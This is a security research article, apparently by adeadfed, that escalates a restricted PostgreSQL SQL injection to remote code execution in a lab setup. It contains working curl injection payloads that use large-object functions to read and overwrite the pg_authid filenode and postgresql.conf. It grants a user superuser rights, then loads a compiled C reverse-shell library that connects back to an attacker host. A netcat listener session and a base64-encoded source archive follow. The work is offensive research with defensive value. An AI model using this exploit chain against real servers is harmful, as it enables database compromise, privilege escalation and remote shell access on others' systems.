Linux ubuntu‑virtual‑machine 6.5.0‑14‑generic #14~22.04.1‑Ubuntu SMP PREEMPT_DYNAMIC Mon Nov 20 18:15:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ubuntu@ubuntu‑virtual‑machine:~$ sudo su postgres postgres@ubuntu‑virtual‑machine:~$ pwd

/var/lib/postgresql

postgres@ubuntu‑virtual‑machine:~$ ls ‑l 13/main/

total 84

drwx‑‑‑‑‑‑ 5 postgres postgres 4096 lis 26 14:48 base

drwx‑‑‑‑‑‑ 2 postgres postgres 4096 mar 15 11:56 global

drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_commit_ts drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_dynshmem drwx‑‑‑‑‑‑ 4 postgres postgres 4096 mar 15 11:55 pg_logical drwx‑‑‑‑‑‑ 4 postgres postgres 4096 lis 26 14:48 pg_multixact drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_notify drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_replslot drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_serial drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_snapshots drwx‑‑‑‑‑‑ 2 postgres postgres 4096 mar 11 00:45 pg_stat drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_stat_tmp drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_subtrans drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_tblspc drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_twophase ‑rw‑‑‑‑‑‑‑ 1 postgres postgres 3 lis 26 14:48 PG_VERSION drwx‑‑‑‑‑‑ 3 postgres postgres 4096 lut 4 00:22 pg_wal

drwx‑‑‑‑‑‑ 2 postgres postgres 4096 lis 26 14:48 pg_xact ‑rw‑‑‑‑‑‑‑ 1 postgres postgres 88 lis 26 14:48 postgresql.auto.conf ‑rw‑‑‑‑‑‑‑ 1 postgres postgres 130 mar 15 11:55 postmaster.opts ‑rw‑‑‑‑‑‑‑ 1 postgres postgres 100 mar 15 11:55 postmaster.pid

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With the data directory path obtained, we can query the relative path to the "pg_authid" Filenode. Thankfully, there are no permission issues this time.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, (SELECT pg_relation_filepath('pg_authid'))" [

{"id":1337,"text":"global/1260"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With all the information in our hands, we can assume that the "pg_authid" Filenode is located at "/var/lib/postgresql/13/main/global/1260".

Let's download it to our local machine from the target server.

‑‑‑[ 3.2 ‑ Reading and downloading the Filenode

We can now quickly download the file as a base64 string through the Large Object functions "lo_import" and "lo_get" in the following steps:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_import('/var/lib/postgresql/13/main/global/1260', 331337)) AS text)" [

{"id":1337,"text":"331337"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,translate(encode(lo_get(331337), 'base64'), E'\n', '')" | jq ".[].text" ‑r | base64 ‑d > pg_authid_filenode

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After decoding the Base64 into a file, we can confirm that we indeed successfully downloaded the "pg_authid" Filenode by comparing the hashes.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

=== on the attacker server ===

$ md5sum pg_authid_filenode

4c9514c6fb515907b75b8ac04b00f923 pg_authid_filenode

=== on the target server ===

postgres@ubuntu‑virtual‑machine:~$ md5sum /var/lib/postgresql/13/main/global/1260 4c9514c6fb515907b75b8ac04b00f923 /var/lib/postgresql/13/main/global/1260

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3.3 ‑ Extracting table metadata

One last step before parsing the downloaded Filenode ‑‑ we must get its metadata from the server via the following SQLi query:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,STRING_AGG(CONCAT_WS(',',attname,typname,attlen,attalign),';') FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = 'pg_authid'" [ {"id":1337,"text":"tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;oid,oid,4,i;rolname,name,64,c;rolsuper,bool,1,c;rolinherit,bool,1,c;rolcreaterole,bool,1,c;rolcreatedb,bool,1,c;rolcanlogin,bool,1,c;rolreplication,bool,1,c;rolbypassrls,bool,1,c;rolconnlimit,int4,4,i;rolpassword,text,‑1,i;rolvaliduntil,timestamptz,8,d"} ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We should now be able to use our in‑house Python3 Filenode editor to list the data and confirm it is intact. The output for the "rolname" field will be a bit ugly, because for some reason this field is stored in a 64‑byte fixed‑length string padded with null bytes, instead of the common varchar type:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ python3 postgresql_filenode_editor.py \

‑f ./pg_authid_filenode \

‑m list \

‑‑datatype‑csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;oid,oid,4,i;rolname,name,64,c;rolsuper,bool,1,c;rolinherit,bool,1,c;rolcreaterole,bool,1,c;rolcreatedb,bool,1,c;rolcanlogin,bool,1,c;rolreplication,bool,1,c;rolbypassrls,bool,1,c;rolconnlimit,int4,4,i;rolpassword,text,‑1,i;rolvaliduntil,timestamptz,8,d"

[+] Page 0:

‑‑‑‑‑‑‑‑‑ item no. 0 ‑‑‑‑‑‑‑‑‑

oid : 10

rolname : b'postgres\x00...'

rolsuper : 1

rolinherit : 1

rolcreaterole : 1

rolcreatedb : 1

rolcanlogin : 1

rolreplication: 1

rolbypassrls : 1

rolconnlimit : ‑1

rolpassword : None

‑‑‑‑‑‑‑‑‑ item no. 1 ‑‑‑‑‑‑‑‑‑

oid : 3373

rolname : b'pg_monitor\x00...'

rolsuper : 0

rolinherit : 1

rolcreaterole : 0

rolcreatedb : 0

rolcanlogin : 0

rolreplication: 0

rolbypassrls : 0

rolconnlimit : ‑1

rolpassword : None

... TRUNCATED ...

‑‑‑‑‑‑‑‑‑ item no. 9 ‑‑‑‑‑‑‑‑‑

oid : 16386

rolname : b'poc_user\x00...'

rolsuper : 0

rolinherit : 1

rolcreaterole : 0

rolcreatedb : 0

rolcanlogin : 1

rolreplication: 0

rolbypassrls : 0

rolconnlimit : ‑1

rolpassword : b'md58616944eb80b569f7be225c2442582cd'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3.4 ‑ Making ourselves a superuser

We can now use the Filenode editor to update Item no. 9, which contains the entry for "poc_user". For convenience, we can pass any non‑printable fields (such as the "rolname" field) as base64 string. We will flip all "rol" flags to 1 with the following editor command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ python3 postgresql_filenode_editor.py \

‑f ./pg_authid_filenode \

‑m update \

‑p 0 \

‑i 9 \

‑‑datatype‑csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;oid,oid,4,i;rolname,name,64,c;rolsuper,bool,1,c;rolinherit,bool,1,c;rolcreaterole,bool,1,c;rolcreatedb,bool,1,c;rolcanlogin,bool,1,c;rolreplication,bool,1,c;rolbypassrls,bool,1,c;rolconnlimit,int4,4,i;rolpassword,text,‑1,i;rolvaliduntil,timestamptz,8,d" \ ‑‑csv‑data "16386,cG9jX3VzZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==,1,1,1,1,1,1,1,‑1,md58616944eb80b569f7be225c2442582cd,NULL"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The script will save the updated Filenode to a file with ".new" as an extension. We can now re‑upload the data to the PostgreSQL server and overwrite the original data through the SQLi.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(3331337, decode('$(base64 ‑w 0 pg_authid_filenode.new)', 'base64'))) AS text)" [

{"id":1337,"text":"3331337"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_export(3331337, '/var/lib/postgresql/13/main/global/1260')) AS text)" [{"id":1337,"text":"1"}]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, we've just overwritten the Filenode on the disk! But the RAM cache still has the old data. We must find a way to flush it somehow:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

postgres=# SELECT * FROM pg_authid WHERE rolname='poc_user'; \x

‑[ RECORD 1 ]‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oid | 16386

rolname | poc_user

rolsuper | f

rolinherit | t

rolcreaterole | f

rolcreatedb | f

rolcanlogin | t

rolreplication | f

rolbypassrls | f

rolconnlimit | ‑1

rolpassword | md58616944eb80b569f7be225c2442582cd

rolvaliduntil |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3.5 ‑ Flushing Hot storage

So, you may be wondering ‑ how can we force the server to clean the RAM cache? How about creating a Large Object of a size matching the entire cache pool? :DDDDD

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(33331337, (SELECT REPEAT('a', 128*1024*1024))::bytea)) AS text)" [

{"id":1337,"text":"33331337"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The server took at least 5 seconds to process our query, which may indicate our success. Let's check our permissions again:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

postgres=# SELECT * FROM pg_authid WHERE rolname='poc_user'; \x

‑[ RECORD 1 ]‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oid | 16386

rolname | poc_user

rolsuper | t

rolinherit | t

rolcreaterole | t

rolcreatedb | t

rolcanlogin | t

rolreplication | t

rolbypassrls | t

rolconnlimit | ‑1

rolpassword | md58616944eb80b569f7be225c2442582cd

rolvaliduntil |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Success! All "rol" flags were flipped to true! Can we reload the config now?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)" [

{"id":1337,"text":"true"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Notice that this query now returns a row with "text" set to "true", confirming that we are indeed able to reload the config now.

That's more like it! We can now perform SELECT‑only RCE.

‑‑[ 4 ‑ SELECT‑only RCE

‑‑‑[ 4.0 ‑ Reading original postgresql.conf

The first step in performing the RCE is to download the original config file. Since we are a super‑admin now, we can query its path directly from the "pg_settings" table without any extra path guessing effort:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, sourcefile FROM pg_file_settings"

[

{"id":1337,"text":"/etc/postgresql/13/main/postgresql.conf"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's download it with the help of previously used Large Object functions:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, CAST((SELECT lo_import('/etc/postgresql/13/main/postgresql.conf', 3333331337)) AS text)" [

{"id":1337,"text":"3333331337"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,translate(encode(lo_get(3333331337), 'base64'), E'\n', '')" | jq ".[].text" ‑r | base64 ‑d > postgresql.conf

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.1 ‑ Choosing a parameter to exploit

There are several known options that can already be used for an RCE:

‑ ssl_passphrase_command (by Denis Andzakovic[5])

‑ archive_command (by sylsTyping[6])

But are any other parameters worth looking into?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ cat postgresql.conf

...

# ‑ Shared Library Preloading ‑

#local_preload_libraries = ''

#session_preload_libraries = ''

#shared_preload_libraries = ''# (change requires restart)

...

# ‑ Other Defaults ‑

#dynamic_library_path = '$libdir'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These parameters specify libraries to be loaded dynamically by the DBMS from the path specified in the "dynamic_library_path" variable, under specific conditions. That sounds promising!

We will focus on the "session_preload_libraries" variable, which dictates what libraries should be preloaded by the server on a new connection[11]. It does not require a restart of the server, unlike "shared_preload_libraries", and does not have a specific prefix prepended to the path like the "local_preload_libraries" variable.

So, we can rewrite the malicious postgresql.conf to have a writable directory in the "dynamic_library_path", e.g. /tmp, and to have a rogue library filename in the "shared_preload_libraries", e.g. "payload.so".

The updated config file will look like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ cat postgresql.conf

...

# ‑ Shared Library Preloading ‑

session_preload_libraries = 'payload.so'

...

# ‑ Other Defaults ‑

dynamic_library_path = '/tmp:$libdir'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.2 ‑ Compiling the malicious library

One of the final steps is to compile a malicious library for the server to load. The code will naturally vary depending on the OS the DBMS is running under. For the Unix‑like case, let's compile the following simple reverse shell into an .so file. The "_init()" function will automatically fire on library load:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdlib.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "postgres.h"

#include "fmgr.h"

#ifdef PG_MODULE_MAGIC

PG_MODULE_MAGIC;

#endif

void _init() {

/*

code taken from https://www.revshells.com/

*/

int port = 8888;

struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET;

revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1");

connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);

dup2(sockt, 1);

dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Notice the presence of the "PG_MODULE_MAGIC" field in the code. It is required for the library to be recognized and loaded by the PostgreSQL server.

Before compilation, we must install proper PostgreSQL development packages for the correct major version, 13 in our case:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ sudo apt install postgresql‑13 postgresql‑server‑dev‑13 ‑y

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The code can be compiled with gcc with the following command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ gcc \

‑I$(pg_config ‑‑includedir‑server) \

‑shared \

‑fPIC \

‑nostartfiles \

‑o payload.so \

payload.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.3 ‑ Uploading the config and library to the server

With the updated config file and compiled library on our hands, it is time to upload and overwrite everything on the target DBMS host.

Uploading and replacing the postgresql.conf file:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(3331333337, decode('$(base64 ‑w 0 postgresql_new.conf)', 'base64'))) AS text)" [

{"id":1337,"text":"3331333337"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_export(3331333337, '/etc/postgresql/13/main/postgresql.conf')) AS text)" [{"id":1337,"text":"1"}]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Uploading the malicious .so file:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(33313333337, decode('$(base64 ‑w 0 payload.so)', 'base64'))) AS text)" [

{"id":1337,"text":"33313333337"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337,CAST((SELECT lo_export(33313333337, '/tmp/payload.so')) AS text)" [{"id":1337,"text":"1"}]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If everything is correct, we should see the updated config and .so file in place:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# .so library

=== target server ===

ubuntu@ubuntu‑virtual‑machine:/tmp$ md5sum payload.so 0a240596d100c8ca8e781543884da202 payload.so

=== attacker server ===

$ md5sum payload.so

0a240596d100c8ca8e781543884da202 payload.so

# postgresql.conf

=== target server ===

ubuntu@ubuntu‑virtual‑machine:~$ md5sum /etc/postgresql/13/main/postgresql.conf 480bb646f178be2a9a2b609b384e20de /etc/postgresql/13/main/postgresql.conf

=== attacker server ===

$ md5sum postgresql_new.conf

480bb646f178be2a9a2b609b384e20de postgresql_new.conf

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.4 ‑ Reload successful

We are all set. Now for the moment of glory! A quick config reload and we get a reverse shell back from the server.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)" [

{"id":1337,"text":"true"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On the attacker host:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ nc ‑lvnp 8888

Listening on 0.0.0.0 8888

Connection received on 172.23.16.1 53004

id

uid=129(postgres) gid=138(postgres) groups=138(postgres),115(ssl‑cert) pwd

/var/lib/postgresql

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 5 ‑ Conclusions

In this article, we managed to escalate the impact of a seemingly very restricted SQL injection to a critical level by recreating DELETE and UPDATE statements from scratch via the direct modification of the DBMS files and data, and develop a novel technique of escalating user permissions!

Excessive server file read/write permissions can be a powerful tool in the wrong hands. There is still much to discover with this attack vector, but I hope you've learned something useful today.

Cheers,

adeadfed

‑‑[ 6 ‑ References

[0] https://github.com/gin‑gonic/gin

[1] https://github.com/jackc/pgx

[2] https://github.com/jackc/pgx/issues/1090

[3] https://github.com/postgres/postgres/blob/2346df6fc373df9c5ab944eebecf7d3036d727de/src/backend/tcop/postgres.c#L1468

[4] https://www.postgresql.org/docs/current/lo‑funcs.html

[5] https://pulsesecurity.co.nz/articles/postgres‑sqli

[6] https://thegrayarea.tech/postgres‑sql‑injection‑to‑rce‑with‑archive‑command‑c8ce955cf3d3

[7] https://www.postgresql.org/docs/9.4/functions‑admin.html

[8] https://www.postgresql.org/docs/current/storage‑hot.html

[9] https://www.postgresql.org/docs/current/storage‑page‑layout.html

[10] https://github.com/adeadfed/postgresql‑filenode‑editor

[11] https://postgresqlco.nf/doc/en/param/session_preload_libraries/

[12] https://www.manniwood.com/2020_12_21/read_pg_from_go.html

‑‑[ 7 ‑ Source code

base64 ‑w 75 sources.tar.gz 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 